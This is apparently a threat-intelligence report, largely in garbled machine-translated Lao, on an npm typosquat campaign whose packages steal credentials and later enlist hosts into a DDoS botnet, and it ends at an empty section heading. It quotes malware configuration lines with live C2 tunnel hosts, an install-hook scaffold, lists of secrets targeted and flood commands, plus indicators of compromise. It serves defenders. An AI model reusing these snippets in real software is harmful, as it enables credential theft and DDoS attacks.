PhantomBot ຈາກການລັກຂໍ້ມູນປະຈຳຕົວໄປສູ່ Botnet

PhantomBot: ແຄມເປນ Typosquat ທີ່ປ່ຽນຈາກການລັກຂໍ້ມູນປະຈຳຕົວໄປສູ່ຊຸດ Botnet ແບບຄົບວົງຈອນ

TL; DR

ຜູ້ເຜີຍແຜ່ npm ດຽວ, deadcode09284814, ໄດ້ດໍາເນີນການໂຄສະນາຕ້ານ typosquat ຕໍ່ຕ້ານຜູ້ທີ່ຖືກຕ້ອງຕາມກົດໝາຍ axios ແລະ chalk-template ແພັກເກດຕ່າງໆນັບຕັ້ງແຕ່ກາງເດືອນພຶດສະພາ 2026.

ການໂຄສະນາຫາສຽງໄດ້ເລີ່ມຕົ້ນເປັນຕົວລັກຂໍ້ມູນປະຈຳຕົວ ແລະ ກະເປົາເງິນແບບດັ້ງເດີມ, ໂດຍໄດ້ລັກເອົາຂໍ້ມູນໄປຫາ ອຸໂມງ HTTPS ຂອງ Serveo.

On 2026-05-17, ກັບ axois-utils:1.0.9, ຜູ້ປະຕິບັດການໄດ້ສະຫຼັບ payload ທັງໝົດ: triple install-hook scaffold ດຽວກັນ, ຜູ້ເຜີຍແຜ່ດຽວກັນ, ຊື່ແພັກເກດດຽວກັນ.

ແຕ່ສະຄຣິບຕິດຕັ້ງໃນປັດຈຸບັນແມ່ນການໂຄສະນາ DDoS botnet ຂ້າມແພລດຟອມ.

ນ້ຳໜັກທີ່ຈ່າຍເວົ້າກັບ localhost.run ອຸໂມງ ແລະ ຍອມຮັບຄຳສັ່ງ flood, ປ່ຽນສະພາບແວດລ້ອມທີ່ຕິດເຊື້ອໃຫ້ເປັນສ່ວນໜຶ່ງຂອງ botnet ທີ່ມີຄວາມສາມາດ DDoS.

ຜູ້ປະກອບການຍັງໄດ້ສົ່ງສິນຄ້າ ໄບນາຣີເຊີບເວີ C2 ພາຍໃນ tarball, ສະແດງໃຫ້ເຫັນເຖິງການຍົກລະດັບຢ່າງຈະແຈ້ງຈາກການລັກຂໍ້ມູນປະຈຳຕົວໄປສູ່ໂຄງສ້າງພື້ນຖານ botnet ທີ່ໃຊ້ງານຢູ່.

ສອງແພັກເກດ, ສີ່ເວີຊັນຍັງໃຊ້ງານຢູ່ໃນ registry, ແລະ ໜຶ່ງຕົວປະຕິບັດການດຽວນີ້ກຳລັງແລ່ນທັງສອງໂມດູນພ້ອມໆກັນ.

ຄວາມຮຸນແຮງ: ສູງ.

ຫົວຂໍ້ຂ່າວ IOC ເວີຊັນ axois-utils ຫຼື chalk-tempalte ໃດກໍໄດ້ຈາກຜູ້ເຜີຍແຜ່ deadcode09284814

ການໂຈມຕີ: ມັນເຮັດວຽກແນວໃດ

ແຄມເປນດັ່ງກ່າວແມ່ນສ້າງຂຶ້ນບົນພື້ນຖານການຈັດສົ່ງທີ່ໜ້າເບື່ອໂດຍເຈດຕະນາ: ສອງຊື່ແພັກເກດ typosquat, ໜຶ່ງຕົວອັກສອນຫ່າງຈາກແພັກເກດທີ່ມີການດາວໂຫຼດຫຼາຍຮ້ອຍລ້ານຄັ້ງຕໍ່ອາທິດ (axios, ແມ່ແບບດິນສໍ), ແລະ ຕິດຕັ້ງສາມເທື່ອ hooks ທີ່ຮັບປະກັນການປະຕິບັດ. ສິ່ງທີ່ໜ້າສົນໃຈແມ່ນສິ່ງທີ່ໂຄງສ້າງ ບັນທຸກ — ແລະຄວາມຈິງທີ່ວ່າຜູ້ປະກອບການໄດ້ປ່ຽນສິນຄ້າໂດຍບໍ່ໄດ້ປ່ຽນແປງສິ່ງອື່ນໃດ.

ໂຄງສ້າງທີ່ໃຊ້ຮ່ວມກັນ

ທຸກໆລຸ້ນທີ່ເຜີຍແຜ່ຂອງທັງສອງແພັກເກດປະກາດວົງຈອນຊີວິດສາມຢ່າງດຽວກັນ hooks in ຊຸດ .json:

"scripts": {    "preinstall":  "node <payload>.js",    "install":     "node <payload>.js",    "postinstall": "node <payload>.js"  } 

ລາຍຊື່ payload ພາຍໃຕ້ທັງສາມຢ່າງ hooks ແມ່ນເກີນຄວາມຄາດໝາຍ — ຕິດຕັ້ງຫຼັງ ຄົນດຽວຈະເຮັດວຽກຕາມຄ່າເລີ່ມຕົ້ນ npm ຕິດຕັ້ງການເລືອກມີຄວາມສຳຄັນ: npm ຕິດຕັ້ງ - ບໍ່ສົນໃຈສະຄຣິບ ຂ້າມສະຄຣິບ, ແຕ່ຫຼາຍໆຂັ້ນຕອນການເຮັດວຽກທົ່ວໄປ (ແຄດ CI ຟື້ນຟູວົງຈອນຊີວິດທີ່ເຮັດວຽກຄືນໃໝ່) hooks ເລືອກເຟັ້ນ, ຫຼື ນັກພັດທະນາຜູ້ທີ່ກວດສອບເທົ່ານັ້ນ ຕິດຕັ້ງຫຼັງ) ເຮັດການປະກາດສາມເທົ່າທີ່ຊ້ຳກັນວ່າເປັນການເດີມພັນທີ່ປອດໄພທີ່ສຸດສຳລັບຜູ້ໂຈມຕີ.

ເທມພານດິນສໍ ເພີ່ມກົນໄກທີສອງ: ມັນປະກາດ axois-utils:^1.0.7 ເປັນ runtime ການເພິ່ງພາອາໄສການຕິດຕັ້ງຕົວພິມຜິດ ແມ່ແບບດິນສໍ ດັ່ງນັ້ນຈຶ່ງດຶງ typosquat ຂອງອ້າຍນ້ອງເຂົ້າມານຳ, ແລະ payload ທັງສອງຈະເຮັດວຽກ. ສອງແພັກເກດແມ່ນຄູ່ທີ່ປະສານງານກັນ, ບໍ່ແມ່ນລາຍຊື່ທີ່ເປັນອິດສະຫຼະ.

ໄລຍະ A — ຂໍ້ມູນປະຈຳຕົວ / ຕົວລັກກະເປົາເງິນ (2026-05-15 → ປັດຈຸບັນ)

ໄລຍະ A ແມ່ນພາລະບັນທຸກຕົ້ນສະບັບ. ຕົວໂຫຼດແມ່ນສັ້ນ ຫຼັງການຕິດຕັ້ງ.js ທີ່ຊີ້ໄປທີ່ອຸໂມງປີ້ນກັບກັນຂອງ Serveo HTTPS:

// chalk-tempalte/postinstall.js:11-13  const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com";  const C2_PORT = 443;  const C2_PATH = '/collect'; 

ໂດເມນຍ່ອຍ Serveo ເຂົ້າລະຫັດ IP ປາຍທາງ (80.200.28.28) ໂດຍກົງໃນຊື່ໂຮດ — ເປັນສົນທິສັນຍາທີ່ຮູ້ຈັກສຳລັບການບໍລິການນັ້ນ. ຜູ້ປະຕິບັດການໝູນວຽນຄຳນຳໜ້າໂດເມນຍ່ອຍແບບສຸ່ມລະຫວ່າງເວີຊັນຕ່າງໆເພື່ອຫຼີກລ່ຽງລາຍຊື່ບລັອກໂດເມນທີ່ບໍ່ມີປະໂຫຍດ, ແຕ່ IP ທີ່ຢູ່ຕິດພັນບໍ່ເຄີຍເຄື່ອນຍ້າຍ. (ແມ່ແບບດິນສໍ:1.0.14 ໃຫມ່ 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 ໃຊ້ f04a273bd84c0622-….)

ຫຼັງການຕິດຕັ້ງ.js ປົດມືອອກໄປ phantom.js, ໂມດູນ “ຕົວເກັບ” ທີ່ມັດໄວ້ 7,667 ເສັ້ນ. phantom.js ຍ່າງນຳເຈົ້າພາບໄປສຳລັບ:

ກະແຈສ່ວນຕົວ SSH (~/.ssh/*)
.npmrc ເນື້ອໃນ ແລະ ໃດໆ npm_* ໂທເຄັນ env
ໄຟລ໌ຂໍ້ມູນປະຈຳຕົວ AWS, GCP ແລະ Azure
GitHub regex ໂທເຄັນການເຂົ້າເຖິງສ່ວນຕົວ (ghp_*, gho_*, ghu_*, ghs_*)
ສິ່ງປະດິດກະເປົາເງິນດິຈິຕອນສຳລັບ Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash, Dash
ການເອີ້ນຊ້ຳ .env* ຍ່າງຜ່ານ ~/projects, ~/dev, ~/code, ~/workspace, ແລະ cwd ຕິດຕັ້ງ
ປະຫວັດຂອງ Shell ແລະຄົບຖ້ວນ process.env

ມັດດັ່ງກ່າວຖືກສົ່ງໄປທີ່ອຸໂມງ Serveo ທີ່ / ເກັບກໍາບໍ່ມີການປິດບັງ, ບໍ່ມີເຫດຜົນຕ້ານ VM, ບໍ່ມີການຈັດວາງ - ການພະນັນຂອງຜູ້ປະຕິບັດການແມ່ນຢູ່ທີ່ປະລິມານ ແລະ ຄວາມໄວ.

ໄລຍະ B — ການຮັບສະໝັກ PhantomBot DDoS (2026-05-17, axois-utils:1.0.9 ເທົ່ານັ້ນ)

ໄລຍະ B ແທນທີ່ phantom.js + postinstall.js ດ້ວຍໄຟລ໌ດຽວທີ່ມີຊື່ວ່າ distrube.js (ຕົວພິມຜິດແມ່ນຕົວປະຕິບັດການ). ໂຄງສ້າງ triple-hook ໃນ package.json ບໍ່ປ່ຽນແປງ; ແພັກເກດຍັງຄົງຮັກສາຊື່, ຂອບເຂດ, ແລະຮູບແບບການແຕກຂອງເວີຊັນດຽວກັນ. ຈາກພາຍນອກ, axois-utils:1.0.9 ເບິ່ງຄືວ່າເປັນລຸ້ນຕໍ່ຈາກ 1.0.6 ເລັກນ້ອຍ. ພາຍໃນ, ມັນເປັນຕະກຸນມັລແວທີ່ແຕກຕ່າງກັນ.

distrube.js ເປີດດ້ວຍບລັອກການຕັ້ງຄ່າທີ່ຕັ້ງຊື່ຍີ່ຫໍ້ຂອງຜູ້ປະກອບການເອງ:

// axois-utils-1.0.9/distrube.js:11-15
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally)
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel
const C2_PORT = 443; // HTTPS port - tunnel handles SSL
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

ຄຳເຫັນຕ່າງໆແມ່ນສົ່ງໄປຫາຜູ້ປະຕິບັດການໃນອະນາຄົດທີ່ກຳລັງໃຊ້ຊຸດເຄື່ອງມືນີ້ (“ໃຊ້ localhost.run HTTPS URL”). ນັ້ນ, ບວກກັບສິ່ງທີ່ສົ່ງຕໍ່ໄປຍັງລູກຄ້າ bot, ແມ່ນການບອກວ່ານີ້ບໍ່ພຽງແຕ່ເປັນ payload ຂອງເຫຍື່ອເທົ່ານັ້ນ - ມັນແມ່ນຊຸດເຄື່ອງມື.

ກະແສ:

  1. Persistence ເຮັດວຽກກ່ອນ. ສະຄຣິບຕິດຕັ້ງຕົວມັນເອງໃນສາມວິທີທີ່ແຕກຕ່າງກັນຕໍ່ລະບົບປະຕິບັດການ (registry ການດໍາເນີນງານ + ໂຟນເດີເລີ່ມຕົ້ນ + schtasks ໃນ Windows; crontab + ບໍລິການ phantom-bot.service ໜ່ວຍ​ລະບົບ + .bashrc/.zshrc ຕໍ່ + /etc/rclocal ໃນ Linux; LaunchAgent com.phantom.bot.plist ໃນ macOS). ຊື່ການບໍລິການ persistence ແລະປ້າຍ LaunchAgent ແມ່ນທັງສອງ ຜີສາດ / com.phantom.bot, ເຊິ່ງເປັນບ່ອນທີ່ຊື່ແຄມເປນມາຈາກ.
  2. ຂໍ້ມູນລະບົບ exfil ເຮັດວຽກຄັ້ງດຽວ — ລາຍນິ້ວມືພຽງຄັ້ງດຽວ POST ໄປທີ່ b94b6bcfa27554.lhr.life:443/collect ໂດຍມີຊື່ໂຮສ, ແພລດຟອມ, arch, ຊື່ຜູ້ໃຊ້, CPU/RAM, ອິນເຕີເຟດເຄືອຂ່າຍ, process.env, cwd, homedir, ເວີຊັນຂອງໂນດ, ແລະ IP ສາທາລະນະ. ນີ້ແມ່ນມີຄວາມຮຸກຮານໜ້ອຍກວ່າໄລຍະ A: ບໍ່ມີ SSH, ບໍ່ມີກະເປົາເງິນ, ບໍ່ມີການຊ້ຳຄືນ .env. ໜ້າທີ່ຂອງບັອດແມ່ນການລົງທະບຽນ, ບໍ່ແມ່ນການລັກ.
  3. ວົງຈອນການເຕັ້ນຂອງຫົວໃຈ ເປີດ HTTPS POST ທຸກໆ 30 ວິນາທີເພື່ອ b94b6bcfa27554.lhr.life:443/. User-Agent ແມ່ນ PhantomBot/1.0. ການຢືນຢັນ TLS ຖືກປິດໃຊ້ງານຢ່າງຊັດເຈນ (rejectUnauthorized: false). ການຕອບສະໜອງ C2 ຖືກວິເຄາະເປັນ JSON ຂອງຮູບແບບ {type, target, port, duration, threads, method} ແລະສົ່ງໄປແລ້ວ.
  4. ຄັງອາວຸດນ້ຳຖ້ວມ ຖືກເຊື່ອມຕໍ່ກັບຫົກຄຳສັ່ງ:
ປະເພດຄໍາສັ່ງ ໂມດູນ ອ່ືນ
ping ຕອບກັບຄວາມມີຊີວິດຊີວາ ບັອດລະບຸຕົວມັນເອງ
http ນໍ້າຖ້ວມ HTTP ການຮ້ອງຂໍຊັ້ນທີ 7 ຖ້ວມ
https ນ້ຳຖ້ວມ HTTPS ຄືກັນກັບ http, ຫໍ່ດ້ວຍ TLS
tcp ນໍ້າຖ້ວມ TCP ສະແປມແບບສຸ່ມ 65 KB
udp ນໍ້າຖ້ວມ UDP ແພັກເກັດ UDP 65,507 ໄບຕ໌
ຢ່າງໄວວາ HTTP/2 ຕັ້ງຄ່າ DoS ຄືນໃໝ່ຢ່າງໄວ ເຕັກນິກ 2023 CVE-2023-44487

ໂມດູນນໍ້າຖ້ວມທັງຫ້າໂມດູນໃຊ້ເວລາ ເປົ້າ​ຫມາຍ, port, ໄລຍະເວລາ, ແລະ ກະທູ້ ການໂຕ້ຖຽງ - ບອທ໌ແມ່ນໂປຣແກຣມທີ່ໃຫ້ເຊົ່າທົ່ວໄປ, ບໍ່ໄດ້ແນໃສ່ຜູ້ເຄາະຮ້າຍໂດຍສະເພາະ. ບັນຊີລາຍຊື່ຜູ້ເຄາະຮ້າຍຂອງຜູ້ປະຕິບັດການຢູ່ໃນ C2, ບໍ່ໄດ້ຢູ່ໃນແພັກເກດ.

ມີຫຍັງໃໝ່ຢູ່ທີ່ນີ້ — ໄບນາຣີ C2 ທີ່ສົ່ງມາ

ໄລຍະ A ແມ່ນຮູບແບບທີ່ຄຸ້ນເຄີຍ: ການລັກຂໍ້ມູນປະຈຳຕົວ, ການຕິດຕັ້ງ hook, ຜູ້ຂາຍ-tunneled C2. ໄລຍະ B ແມ່ນ ຍັງ ຮູບຮ່າງທີ່ຄຸ້ນເຄີຍ - ບັອດເນັດ DDoS ໄດ້ເປັນຕົວຍຶດຕິດຂອງແພັກເກດ npm ທີ່ເປັນອັນຕະລາຍເປັນເວລາຫຼາຍປີ. ສິ່ງທີ່ຜິດປົກກະຕິແມ່ນວ່າຜູ້ປະກອບການໄດ້ສົ່ງ ດ້ານເຊີບເວີ ຂອງຊຸດພາຍໃນ npm tarball:

  • c2 — ໄຟລ໌ໄບນາຣີ Go ELF ຂະໜາດ 4 ເມກາໄບຕ໌
  • c2.go — ແຫຼ່ງ Go 426 ເສັ້ນສຳລັບໄບນາຣີນັ້ນ

ບໍ່ມີໄຟລ໌ໃດຖືກເອີ້ນໃຊ້ໂດຍ hook ຕິດຕັ້ງໃດໆ. ພວກມັນບໍ່ແມ່ນສ່ວນໜຶ່ງຂອງ payload ຂອງເຫຍື່ອ. ພວກມັນຢູ່ໃນໄດເລກະທໍລີແພັກເກດຄືກັນກັບໄຟລ໌ເອກະສານ. ການອ່ານທີ່ເປັນໄປໄດ້ທີ່ສຸດແມ່ນວ່າຜູ້ປະຕິບັດການໄດ້ຍູ້ຕົ້ນໄມ້ການເຮັດວຽກການພັດທະນາຂອງພວກເຂົາໄປຫາ npm ໂດຍບໍ່ໄດ້ຈັດລຽງລາຍຊື່ໄຟລ໌ - ແບບຟອມ OpSec ທີ່ແທ້ຈິງ - ແລະສິ່ງທີ່ສົ່ງມາແມ່ນຊຸດສອງດ້ານທີ່ສົມບູນ: ລູກຄ້າທີ່ເຫຍື່ອແລ່ນ, ແລະເຊີບເວີທີ່ຜູ້ປະຕິບັດການແລ່ນ.

ນີ້ແມ່ນສ່ວນໜຶ່ງຂອງເລື່ອງທີ່ອະທິບາຍເຖິງກອບ "ຊຸດ botnet ທີ່ສົມບູນແບບ". ຜູ້ໃດກໍຕາມທີ່ດາວໂຫຼດ axois-utils:1.0.9 ກ່ອນການຈັບກຸມບໍ່ພຽງແຕ່ມີຕົວຢ່າງຜູ້ຖືກເຄາະຮ້າຍເທົ່ານັ້ນ - ພວກເຂົາຍັງມີເຊີບເວີ C2 ທີ່ເຮັດວຽກໄດ້.

pivot, ໃນປະໂຫຍກດຽວ

ຜູ້ເຜີຍແຜ່ດຽວກັນ, ຊື່ແພັກເກດດຽວກັນ, ໂຄງສ້າງສາມຊັ້ນດຽວກັນ, ການສ້າງແບຣນ "phantom" ດຽວກັນ — ແຕ່ payload ໄດ້ປ່ຽນແປງຮູບແບບການສ້າງລາຍໄດ້ໃນຄືນດຽວຈາກ “ຄວາມລັບການເກັບກ່ຽວທີ່ຂ້ອຍສາມາດຂາຍຄືນໄດ້” ໄປສູ່ “ຄວາມສາມາດໃນການເຊົ່ານ້ຳຖ້ວມທີ່ຂ້ອຍສາມາດເຊົ່າໄດ້”. TTP ທີ່ໃຊ້ເວລາຕິດຕັ້ງທີ່ຜູ້ປົກປ້ອງຄວນຕິດຕາມແມ່ນເກືອບຄືກັນໃນທັງສອງໄລຍະ; ການປ້ອງກັນທີ່ອີງໃສ່ລາຍເຊັນທີ່ເຊື່ອມຕໍ່ກັບສະຕຣິງເສັ້ນທາງກະເປົາເງິນຂອງໄລຍະ A ຫຼືໄປຫາ phantom.jsຕົວເກັບກຳ 7,667 ເສັ້ນຂອງ 'ຈະພາດໄລຍະ B ໄປໝົດ.

ວັນທີ (UTC) ກໍລະນີ
2026-05-15 ການພິມເຜີຍແຜ່ຄັ້ງທຳອິດ: axois-utils:1.0.4 (ການທົດສອບ LAN ສ້າງ, ເຄື່ອງມືພັດທະນາຢູ່ທີ່ 192.168.129.19)
2026-05-15 axois-utils:1.0.6 ເຜີຍແຜ່ແລ້ວ — ໄລຍະ A C2 ໄດ້ປ່ຽນໄປເປັນ 80.200.28.28 ຜ່ານອຸໂມງ Serveo; ຄຳເຫັນແຫຼ່ງຂໍ້ມູນ // Change to '80.200.28.28' for public ຢືນຢັນການແລກປ່ຽນ dev→prod
2026-05-16 chalk-tempalte:1.0.14 ແລະ 1.0.16 ເຜີຍແຜ່ແລ້ວ — ການປະກາດຕົວໂຫຼດລະບົບຕ່ອງໂສ້ axois-utils:^1.0.7 ເປັນການເພິ່ງພາອາໄສໃນເວລາແລ່ນ; ໂດເມນຍ່ອຍຂອງ Serveo ຖືກໝູນວຽນ
2026-05-16 ຄົ້ນພົບແຄມເປນໄລຍະ A ໃນລະຫວ່າງການສະແກນ npm ປົກກະຕິ; ຄຳຕັດສິນທີ່ຢືນຢັນແລ້ວວ່າເປັນອັນຕະລາຍຖືກນຳໃຊ້
2026-05-17 axois-utils:1.0.9 ເຜີຍແຜ່ແລ້ວ — payload pivot: PhantomBot DDoS recruit ຜ່ານ localhost.run tunnel; ດ້ານຜູ້ປະຕິບັດງານ c2 ຄູ່ ແລະ c2.go ແຫຼ່ງທີ່ສົ່ງໃນ tarball
2026-05-17 chalk-tempalte:1.0.19 ແລະ 1.0.20 ເຜີຍແຜ່ແລ້ວ — ຍັງເປັນ Phase A (stealer); ຕົວປະຕິບັດການໃນປັດຈຸບັນກຳລັງແລ່ນທັງສອງໂມດູນພ້ອມໆກັນ
2026-05-17 ການຄົ້ນພົບໄລຍະ B ໃນລະຫວ່າງການສະແກນປົກກະຕິ; ຄຳຕັດສິນທີ່ນຳໃຊ້ໃນທົ່ວທຸກ 2026-05-17 ສະບັບ
(ຕໍ່ເນື່ອງ) ລາຍງານການລຶບອອກຍັງຄ້າງຢູ່; ແພັກເກດທີ່ເຜີຍແຜ່ທັງສີ່ຊຸດຍັງຄົງມີຢູ່ໃນທະບຽນໃນເວລາຂຽນນີ້

ຕົວຊີ້ວັດຂອງການປະນີປະນອມ

ການຫຸ້ມຫໍ່

ລະບົບນິເວດ Package ສະບັບ
npm axois-utils (typosquat ຂອງ axios) 1.0.4, 1.0.6, 1.0.9
npm chalk-tempalte (typosquat ຂອງແມ່ແບບດິນສໍ) 1.0.14, 1.0.16, 1.0.19, 1.0.20

ຕົວຕົນຂອງຜູ້ຂຽນ

ພາກສະຫນາມ ມູນຄ່າ
ຜູ້ເຜີຍແຜ່ npm deadcode09284814
ອີເມວຂອງຜູ້ເຜີຍແຜ່ phantomdeadcode@tutamail.com
SCM ການຢັ້ງຢືນ none

ຄໍາສັ່ງແລະການຄວບຄຸມ

ໄລຍະ Endpoint ການຂົນສົ່ງ
A f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect ອຸໂມງ HTTPS ຂອງ Serveo
A 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect ອຸໂມງ Serveo HTTPS (ລຸ້ນກ່ອນໜ້ານີ້)
A 80.200.28.28:443/collect ຈຸດສິ້ນສຸດ VPS ທີ່ຕິດພັນ
B b94b6bcfa27554.lhr.life:443/ localhost.run HTTPS reverse-tunnel

ສະຫຼຸບໄຟລ໌ (SHA-256)

ເອກະສານ SHA-256 ອ່ືນ
c2 (ໄປ ELF, 4 MB) 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 ເຊີບເວີ C2 ຝ່າຍຜູ້ປະຕິບັດການ, ສົ່ງພາຍໃນ axois-utils:1.0.9
c2.go (426 ແຖວ) 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 ແຫຼ່ງຂໍ້ມູນສຳລັບໄບນາຣີ C2
distrube.js 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 ບັອດລູກຄ້າໄລຍະ B
phantom.js (chalk-tempalte:1.0.19) 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 ເອກະສານຢັ້ງຢືນ/ຜູ້ເກັບກະເປົາເງິນໄລຍະ A
phantom.js (chalk-tempalte:1.0.20) d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 ຕົວເກັບຂໍ້ມູນໄລຍະ A (ຮຸ່ນ 1.0.20)
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 ຕົວໂຫຼດ Phase A, byte ຄືກັນໃນທັງສອງລຸ້ນ

ການອ້າງອີງ ແລະ ແຮງຈູງໃຈ

ພວກເຮົາຕິດຕາມແຄມເປນນີ້ວ່າເປັນ PhantomBot, ໂດຍເອົາຍີ່ຫໍ້ຂອງຜູ້ປະກອບການເອງມາຈາກ ຕົວແທນຜູ້ໃຊ້: PhantomBot/1.0 ຫົວຂໍ້ການເຕັ້ນຂອງຫົວໃຈ, ບໍລິການ phantom-bot.service ໜ່ວຍງານລະບົບ, com.phantom.bot ປ້າຍ LaunchAgent, ແລະ phantomdeadcode@ ທີ່ຢູ່ອີເມວ. ຕົວປະຕິບັດການມີຄວາມສອດຄ່ອງກ່ຽວກັບຊື່ນີ້ໃນຢ່າງໜ້ອຍສີ່ສິ່ງປະດິດ.

ລາຍການສັນຍານ

  • ສໍານັກພິມ - ລະຫັດຕາຍ09284814 ໃນ npm. ບັນຊີຈັດການດ່ຽວ, ອີເມວທີ່ໃຊ້ແລ້ວຖິ້ມ Tutamail, ບໍ່ SCM ການຢັ້ງຢືນ. ບໍ່ມີປະຫວັດການເຜີຍແຜ່ກ່ອນໜ້ານີ້ນອກເໜືອໄປຈາກແຄມເປນນີ້.
  • ການນຳໃຊ້ຍີ່ຫໍ້ຄືນໃໝ່ — “phantom” ປາກົດຢູ່ໃນອີເມວຂອງຜູ້ເຜີຍແຜ່, ໃນຊື່ໄຟລ໌ຕົວເກັບກຳ Phase A (phantom.js), ໃນຊື່ການບໍລິການຄວາມຍືນຍົງຂອງໄລຍະ B (ບໍລິການ phantom-bot.service), ໃນປ້າຍ LaunchAgent (com.phantom.bot), ແລະ ໃນ bot User-Agent (ແຟນທອມບອດ/1.0).
  • ພື້ນຖານໂຄງລ່າງ — VPS ດຽວຢູ່ທີ່ 80.200.28.28 ດ້ານໜ້າ ໄລຍະ A ຜ່ານການໝູນວຽນໂດເມນຍ່ອຍຂອງ Serveo; ໄລຍະ B ຍ້າຍໄປທີ່ localhost.run ອຸໂມງປີ້ນກັບກັນ (b94b6bcfa27554.lhr.ຊີວິດ). ການບໍລິການຂອງຜູ້ຂາຍທັງສອງແມ່ນບໍ່ເສຍຄ່າ ແລະ ຕ້ອງການພຽງແຕ່ SSH ຂາອອກໃນຝ່າຍຜູ້ປະກອບການເທົ່ານັ້ນ, ສອດຄ່ອງກັບການຕັ້ງຄ່າ OpSec ທີ່ມີງົບປະມານຕ່ຳ.
  • ຮູບແບບລະຫັດ — JavaScript ທຳມະດາຕະຫຼອດ; ບໍ່ມີການປິດບັງ, ບໍ່ມີການເຂົ້າລະຫັດສະຕຣິງ, ບໍ່ມີການກວດສອບ anti-VM. ຊື່ຕົວແປສາມາດອະທິບາຍໄດ້ (ລັກຂໍ້ມູນລະບົບ, ປະຕິບັດຄຳສັ່ງ, httpFlood). ຄຳເຫັນໃນ distrube.js ໂດຍກົງຕໍ່ກັບຕົວປະຕິບັດການໃນອະນາຄົດ (“ໃຊ້ localhost.run HTTPS URL ຂອງທ່ານ”), ຊີ້ໃຫ້ເຫັນວ່າໄຟລ໌ດັ່ງກ່າວມີຈຸດປະສົງເພື່ອແຈກຢາຍຄືນໃໝ່ເປັນຊຸດ, ບໍ່ໄດ້ໃຊ້ໂດຍຜູ້ໂຈມຕີຄົນດຽວ.
  • ໃບແຈ້ງການ OpSec — tarball ໄລຍະ B ສົ່ງທັງລູກຄ້າ bot ແລະເຊີບເວີ C2 ຝ່າຍຜູ້ປະຕິບັດການ (c2 ເອວຟ໌ + c2.go ແຫຼ່ງຂໍ້ມູນ). ນີ້ສອດຄ່ອງກັບຜູ້ປະຕິບັດການທີ່ສົ່ງຕົ້ນໄມ້ເຮັດວຽກຂອງເຂົາເຈົ້າໄປຫາ npm ໂດຍບໍ່ໄດ້ກວດສອບລາຍຊື່ໄຟລ໌. ທັງຜູ້ປະຕິບັດການບໍ່ມີປະສົບການ, ຫຼືຊຸດເຄື່ອງມືແມ່ນ ຫມາຍຄວາມວ່າ ເພື່ອແຈກຢາຍຕໍ່ສາທາລະນະ ແລະ ໄບນາຣີ C2 ແມ່ນສ່ວນໜຶ່ງຂອງຜະລິດຕະພັນ.
  • ການຢືນຢັນຕົນເອງ - axois-utils:1.0.4 ປະກອບມີຄຳເຫັນຕົ້ນສະບັບ // ປ່ຽນເປັນ '80.200.28.28' ສຳລັບສາທາລະນະ ໃນແຖວທີ 12, ຢືນຢັນຄວາມຄືບໜ້າຂອງ dev / staging / production ທີ່ຜູ້ປະຕິບັດງານມັກຈະປະຕິເສດ.

ສິ່ງລະດົມໃຈ

payload ໄລຍະ A ແມ່ນການລັກຂະໂມຍທາງດ້ານການເງິນໂດຍກົງ: ຂໍ້ມູນປະຈຳຕົວ, ລະຫັດຄລາວ, ໂທເຄັນ GitHub, ແລະກະເປົາເງິນດິຈິຕອນທັງໝົດມີຕະຫຼາດຂາຍຄືນທີ່ມີສະພາບຄ່ອງ. ໄລຍະ B ຍັງເປັນທາງດ້ານການເງິນ, ແຕ່ທາງອ້ອມ: ການບໍລິການ DDoS-for-hire (“booter”) ທີ່ມີຄວາມສາມາດໃນການເຊົ່າຫຼາຍຕໍ່ນາທີ, ແລະບອທ໌ຄືກັບບອທ໌ທີ່ສົ່ງມານີ້ແມ່ນສິນຄ້າຄົງຄັງທີ່ບໍລິການເຫຼົ່ານັ້ນດຳເນີນການ. ຈັງຫວະການເຕັ້ນຂອງຫົວໃຈ 30 ວິນາທີ, ທົ່ວໄປ ເປົ້າ​ຫມາຍ/port/ໄລຍະເວລາ ໂຄງຮ່າງຄຳສັ່ງ, ແລະ ຄັງອາວຸດນ້ຳຖ້ວມຫ້າໂປໂຕຄອນແມ່ນ standard ຜະລິດຕະພັນຂອງຕົວປະຕິບັດການ booter.

ການແລ່ນໂມດູນທັງສອງແບບຂະໜານກັນ — ແມ່ແບບດິນສໍ:1.0.19 ແລະ 1.0.20 ສືບຕໍ່ສົ່ງຜູ້ລັກຂະໂມຍໃນຂະນະທີ່ axois-utils:1.0.9 ສົ່ງ bot - ຊີ້ໃຫ້ເຫັນວ່າຜູ້ປະກອບການກຳລັງປ້ອງກັນກະແສລາຍຮັບແທນທີ່ຈະປະຖິ້ມໄລຍະ A. pivot ແມ່ນ ນອກຈາກນັ້ນ, ບໍ່ແມ່ນການທົດແທນ.

ສິ່ງທີ່ພວກເຮົາບໍ່ໄດ້ອ້າງ

